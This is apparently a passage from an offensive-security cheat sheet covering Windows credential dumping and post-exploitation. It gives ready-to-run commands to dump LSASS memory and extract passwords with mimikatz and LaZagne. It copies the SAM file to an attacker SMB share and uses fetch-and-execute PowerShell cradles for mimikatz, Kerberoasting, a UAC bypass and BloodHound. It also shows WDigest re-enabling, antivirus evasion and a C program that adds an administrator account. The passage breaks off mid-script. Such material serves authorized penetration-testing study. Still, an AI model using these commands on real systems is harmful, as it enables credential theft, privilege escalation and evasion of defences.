wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/Dumpert/Outflank-Dumpert.exe
.\Outflank-Dumpert.exe
rundll32.exe C:\Windows\temp\Outflank-Dumpert.dll,Dump
With Avast's AvDump
## ------------------| Location
C:\Program Files\Avast Software\Avast\AvDump.exe
## ------------------| Download
wget -O ADTool.exe https://github.com/f1tz/Misc/raw/master/AvDump/x86/AvDump.exe
wget -O ADTool.exe https://github.com/f1tz/Misc/raw/master/AvDump/x64/AvDump.exe
## ------------------| Execute
.\AvDump.exe --pid 704 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Windows\temp\file.dmp
## ------------------| Metasploit post exploitation module
post/windows/gather/avast_memory_dump
With SqlDumper
## ------------------| Download
wget https://github.com/f1tz/Misc/raw/master/SqlDumper/SqlDumper_2008R2_x86.zip
wget https://github.com/f1tz/Misc/raw/master/SqlDumper/SqlDumper_2008R2_x64.zip
## ------------------| Execute
.\sqldumper.exe [lsass's pid] 0 0x0110
## ------------------| Extract passwords
mimikatz.exe "log" "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit
LaZagne [Firefox,Chrome]
wget https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.5/LaZagne.exe
.\laZagne.exe all
LetMeowIn
git clone https://github.com/Meowmycks/LetMeowIn.git && cd LetMeowIn
gcc
01.13 Other
Copy file from
smb
server
## ------------------| Start SMB Server
impacket-smbserver <shareName> <sharePath>
impacket-smbserver share $(pwd) -smb2support
impacket-smbserver share $(pwd) -smb2support -username h4rithd -password Password123
## ------------------| Mount share using cmd
net use z: <MyIP>\share
net use z: \\<MyIP>\share /USER:h4rithd Password123
## ------------------| Mount share using powershell
$pass = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('h4rithd', $pass)
New-PSDrive -Name h4rithd -PSProvider FileSystem -Credential $cred -Root \\<MyIP>\share
cd h4rithd:
dir
## ------------------| Direct copy
copy C:\Users\Public\sam \\10.10.14.26\share\sam
xcopy C:\Users\Public\sam \\10.10.14.26\share\sam
Start
SMB
samba server on Linux for share files.
## ------------------| From using Impacket-smbserver
impacket-smbserver share .
# if it gets error "Your system requires SMB2 or higher" then run below command
impacket-smbserver share . -smb2support
## ------------------| From using Linux default SMBA
## Backup current settings
sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak
## Create directory for smb location and grant permission
mkdir -p /tmp/smb
chmod 0777 /tmp/smb
## Config smba for share
echo "\n\n#### --- $(hostname) was edits below lines ----\n
[share] \n \
\tpath = /tmp/smb \n \
\tpublic = yes \n \
\twritable = yes \n \
\tcomment = $(hostname) shares \n \
\tprintable = no \n \
\tguest ok = yes \n \
#### --- Edit done -------" >> /etc/samba/smb.conf
## Verify configs
tail 10 /etc/samba/smb.conf
## Start smb service
sudo service smbd restart
## ** Please note to revert settings after done !!!
cp /etc/samba/smb.conf.bak /etc/samba/smb.conf
service smbd restart
## ------------------| Run Powershell prompt as a different user, without loading profile to the machine [replace DOMAIN and USER]
runas /user:DOMAIN\USER /noprofile powershell.exe
## ------------------| Insert reg key to enable Wdigest on newer versions of Windows
reg add HKLM\SYSTEM\CurrentControlSet\Contro\SecurityProviders\Wdigest /v UseLogonCredential /t Reg_DWORD /d 1
## ------------------| Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
## ------------------| Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
## ------------------| Import Mimikatz Module to run further commands
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')"
## ------------------| Invoke-MassMimikatz: Use to dump creds on remote host [replace $env:computername with target server name(s)]
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PewPewPew/Invoke-MassMimikatz.ps1');'$env:COMPUTERNAME'|Invoke-MassMimikatz -Verbose"
## ------------------| PowerUp: Privilege escalation checks
powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1’);Invoke-AllChecks”
## ------------------| Invoke-Inveigh and log output to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/Inveigh.ps1');Invoke-Inveigh -ConsoleOutput Y –NBNS Y –mDNS Y –Proxy Y -LogOutput Y -FileOutput Y"
## ------------------| Invoke-Kerberoast and provide Hashcat compatible hashes
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-kerberoast -OutputFormat Hashcat"
## ------------------| Invoke-ShareFinder and print output to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
## ------------------| Import PowerView Module to run further commands
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"
## ------------------| Invoke-Bloodhound
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
02. Defense Evasion Techniques
AV Evasion techniques (Invoke-Obfuscation)
## ------------------| Basic setup
git clone https://github.com/danielbohannon/Invoke-Obfuscation
cd Invoke-Obfuscation
pwsh
Import-Module ./Invoke-Obfuscation.psd1
cd /tmp
Invoke-Obfuscation
## ------------------| Obfuscate entire command via Encoding
SET SCRIPTPATH /tmp/revshell.ps1
ENCODING
5
OUT /tmp/enc.ps1
## ------------------| Obfuscate PowerShell Ast nodes (PS3.0+)
SET SCRIPTPATH /tmp/revshell.ps1
AST
ALL
1
OUT /tmp/enc.ps1
Evasion with Shellter
shellter
A ### For automatic mode
### you can do it your self.
03. Scripts
Add new user using c
#include <stdlib.h>
int main ()
{
int user;
user = system ("net user h4rithd Password! /add");
user = system ("net localgroup administrators h4rithd /add");
return 0;
}
## sudo i686-w64-mingw32-gcc adduser.c -o adduser.exe
Get-ServiceACL.ps1
# download Get-ServiceACL.ps1 to the box and execute in memory
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.2/GetServiceACL.ps1',$false);$h.send();iex $h.responseText
# examine nscp service ACL
"nscp" | Get-ServiceAcl | select -ExpandProperty Access
Invoke-TSPingSweep.ps1
wget https://raw.githubusercontent.com/dwj7738/My-Powershell-Repository/master/Scripts/Invoke-TSPingSweep.ps1
IEX(New-Object Net.WebClient).downloadString('http://10.8.0.74/Invoke-TSPingSweep.ps1')
Invoke-TSPingSweep -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort
## ------------------| Scan port 22
Invoke-Portscan -Hosts 172.16.249.1/24 -Ports 22 -Threads 30 | Where { $_.Alive -eq "True" }
## ------------------| Scan other ports
Invoke-Portscan -Hosts 172.16.249.202 -Ports '21,22,80,443,8080'
## ------------------| Import-Module
Import-Module .\Invoke-AESEncryption.ps1
## ------------------| Encrypt
Invoke-AESEncryption.ps1 -Mode Encrypt -Key "h4rithd" -Path .\PlanText.txt
## ------------------| Decrypt
Invoke-AESEncryption -Mode Decrypt -Key "h4rithd" -Path .\ciphertext.txt.aes
wget script for download file.
## ------------------| Create wget.js file
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");